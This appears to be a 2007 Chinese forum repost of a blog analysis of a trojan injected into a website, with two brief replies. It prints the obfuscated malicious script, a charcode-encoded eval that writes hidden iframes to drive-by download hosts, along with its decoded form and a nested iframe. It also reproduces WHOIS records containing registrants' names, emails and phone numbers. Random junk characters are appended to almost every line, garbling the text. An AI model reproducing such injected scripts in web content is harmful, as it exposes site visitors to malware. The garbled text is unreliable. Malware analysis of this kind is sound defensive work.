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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, [B|MlrZ  
q5#J~n8Wr  
http://www.areway.cn/?p=175 nG;8:f`  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: uIDuGrt  
          |K|h+fgG6*  
<script>t=’60,105,102,114,97,109,101, NwZ@#D#[ Y  
32,115,114,99,61,104,116,116,112,58,47,47, gw}Mw  
102,114,101,101,46,117,45,117,117,117,46,99, 14"J d\M8  
110,47,101,114,114,111,114,46,104,116,109, Jyqc2IH  
32,119,105,100,116,104,61,49,48,48,32,104, f0BdXsV#g  
101,105,103,104,116,61,48,62,60,47,105,102, `8Lo{P  
114,97,109,101,62′; 6l4mS~/  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ^tCd L@$AS  
                                                                                                  V@\%)J'g  
<script>t=’60,105,102,114,97,109,101,32,115, 4~N[%>zJ  
114,99,61,104,116,116,112,58,47,47,102,114, {U_$&f9s  
101,101,46,117,45,117,117,117,46,99,110,47, rQaxr!  
101,114,114,111,114,46,104,116,109,32,119, oI#a_/w  
105,100,116,104,61,49,48,48,32,104,101,105, Vb'7>  
103,104,116,61,48,62,60,47,105,102,114,97, Iy6$7~  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Qr$;AZ G  
document.write(t);</script> &|`C)6[C  
                                                                                                  gB4U*D0[e~  
<html xmlns=” NoJ`6MB  
http://www.w3.org/1999/xhtml w/IZDMBf|  
“> V,[d66H=N  
<head> edK|NOOZ  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> hsw9(D>jp  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Q"7Gy<  
<title>首页 - 爱生活家庭网 (k|_J42[  
                                                                                                                                                    zH*KYB  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 L*x[?x;)@  
转换字符串后的大概内容是(谁点击后果自付): v$ub~Q6W  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… pm6>_Kz  
                                                                                                                                  Q8_ d)t|  
查询玉米u-uuu.cn的详细信息: +L5\;  
Domain Name: u-uuu.cn >|Cw\^  
ROID: 20070901s10001s64972306-cn 9Fr3pRIJ  
Domain Status: ok U5 r7j  
Registrant Organization: 王雷 RAp=s  
Registrant Name: 王雷 %G?;!Lz  
Administrative Email: czlovexs@126.com f +hjC  
Sponsoring Registrar: 北京万网志成科技有限公司 $*W6A/%O  
Name Server:ns.yovole.com NVl [kw  
Name Server:ns1.yovole.com 36n>jS&  
Registration Date: 2007-09-01 17:54 G\a8B#hg  
Expiration Date: 2008-09-01 17:54 sQ 8s7l0D  
最后PING了一下地址 都没有什么…. ,p9i%i  
                                                                                                x+G0J8cW  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. nIvJrAm4k  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> UG<79"\i  
<script language=”javascript” src=” g(| 6~}|o+  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script q}FVzahv  
> 4);)@&0Md~  
这个玉米应该有可能是木马作者的: vhb)2n  
foafau.info的详细信息: Nlj^D m  
Access to INFO WHOIS information is provided to assist persons in 2+Wzf)tB  
determining the contents of a domain name registration record in the dHk{.n^p  
Afilias registry database. The data in this record is provided by 3.)b4T  
Afilias Limited for informational purposes only, and Afilias does not e9E\% p  
guarantee its accuracy.  This service is intended only for query-based !(t,FYeH  
access. You agree that you will use this data only for lawful purposes nL?oTze*p  
and that, under no circumstances will you use this data to: (a) allow, ;2m<CSv!D  
enable, or otherwise support the transmission by e-mail, telephone, or U/NBFc:[y:  
facsimile of mass unsolicited, commercial advertising or solicitations  P5gN#G  
to entities other than the data recipient’s own existing customers; or 2:LHy[{5  
(b) enable high volume, automated, electronic processes that send 1R. 4:Dn_  
queries or data to the systems of Registry Operator, a Registrar, or ]p!Gt,rYq  
Afilias except as reasonably necessary to register domain names or |D.O6?v@  
modify existing registrations. All rights reserved. Afilias reserves AE@NOM7u  
the right to modify these terms at any time. By submitting this query, >5 b/or  
you agree to abide by this policy. UgN28YrW  
Domain ID:D22418703-LRMS Y\=FLO9  
Domain Name:FOAFAU.INFO DKm Z  
Created On:20-Nov-2007 16:05:42 UTC ! <WBCclX  
Last Updated On:20-Nov-2007 16:05:44 UTC pZZf[p^s|  
Expiration Date:20-Nov-2008 16:05:42 UTC 1h7+@#<:a  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) %5\3Aw  
Status:CLIENT DELETE PROHIBITED %/.a]j!  
Status:CLIENT RENEW PROHIBITED B[9 (FRX  
Status:CLIENT TRANSFER PROHIBITED ai*b:Q  
Status:CLIENT UPDATE PROHIBITED ~LQ[4h<J !  
Status:TRANSFER PROHIBITED 2ij# H ;  
Registrant ID:GODA-040110615 a8AYcE b  
Registrant Name:liu hong \ /|)HElKR  
Registrant Organization: T5O _LCIws  
Registrant Street1:beijing jKIc09H|  
Registrant Street2: e &9F\e  
Registrant Street3: _DP|-bp D  
Registrant City:beijing GYB+RU}],  
Registrant State/Province: Ei({`^  
Registrant Postal Code:100000 F&;   
Registrant Country:CN #hw/^AaD-  
Registrant Phone:+86.860108888777 gBk5wk_j|  
Registrant Phone Ext.: fYrGpW( `  
Registrant FAX: R \s!*)  
Registrant FAX Ext.: AAUyy :  
Registrant Email:bbbshiji@163.com 4O{Avt7C  
Admin ID:GODA-240110615 1f (DU4h  
Admin Name:liu hong $A<ESfrs  
Admin Organization: vs&8wbS)  
Admin Street1:beijing "?.~/@  
Admin Street2: eUO9 a~<  
Admin Street3: KbxR Lx]w  
Admin City:beijing dv N<5~  
Admin State/Province: } PeZO!K  
Admin Postal Code:100000 Z$KV&.=+  
Admin Country:CN T,JA#Rk|1N  
Admin Phone:+86.860108888777 bZipm(e  
Admin Phone Ext.: /2NSZO  
Admin FAX: gH:ArfC  
Admin FAX Ext.: RM*f|j  
Admin Email:bbbshiji@163.com 0&fl#]oCE  
Billing ID:GODA-340110615 /owO@~G  
Billing Name:liu hong PQj<[rY  
Billing Organization: ] y1fM0  
Billing Street1:beijing tjv\)Nn'  
Billing Street2: Q*O<@   
Billing Street3: v@u<Ww;=@  
Billing City:beijing O%1/ r*  
Billing State/Province: q'(z #h,cv  
Billing Postal Code:100000 {)K](S ~  
Billing Country:CN FEm=w2  
Billing Phone:+86.860108888777 =7ydk"xM*  
Billing Phone Ext.: 0-2"FdeQU  
Billing FAX: hRTMFgO  
Billing FAX Ext.: yFpySvj }  
Billing Email:bbbshiji@163.com q^bO*bv  
Tech ID:GODA-140110615 =K$,E4*  
Tech Name:liu hong F;D1F+S  
Tech Organization: mrZ`Lm#>pS  
Tech Street1:beijing  ,-rB=|w  
Tech Street2: ]HvZ$  
Tech Street3: 5 d ;|=K  
Tech City:beijing U=!@Db5k~  
Tech State/Province: :%tuNJjj  
Tech Postal Code:100000 kR6A3?[  
Tech Country:CN p#H]\ P'  
Tech Phone:+86.860108888777 VO`"<  
Tech Phone Ext.: D[>W{g $  
Tech FAX:  wRVD_?  
Tech FAX Ext.: 4MX7=!E  
Tech Email:bbbshiji@163.com  wOHEv^,  
Name Server:NS27.DOMAINCONTROL.COM fS./y=j(X  
Name Server:NS28.DOMAINCONTROL.COM JE)J<9gf  
Name Server: 7c::Qf[|  
Name Server: RG? MRxC  
Name Server: _pSIJ3O  
Name Server: /2h][zrZ[.  
Name Server: BW71 s  
Name Server: !0dX@V'r  
Name Server: +k rFB?>`  
Name Server: 7!- \L7<  
Name Server: nW&$~d  
Name Server: 8vJdf9pB*  
Name Server: 46dc.Yi  
                                                                                                          K\X: G-C9  
接着下载每个文件里面的代码: Opry`}5h  
一步一步看.. m0Z7N5v)  
ji##$xC  
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T?e9eYwS  
oeGS  
N ^f}ui i  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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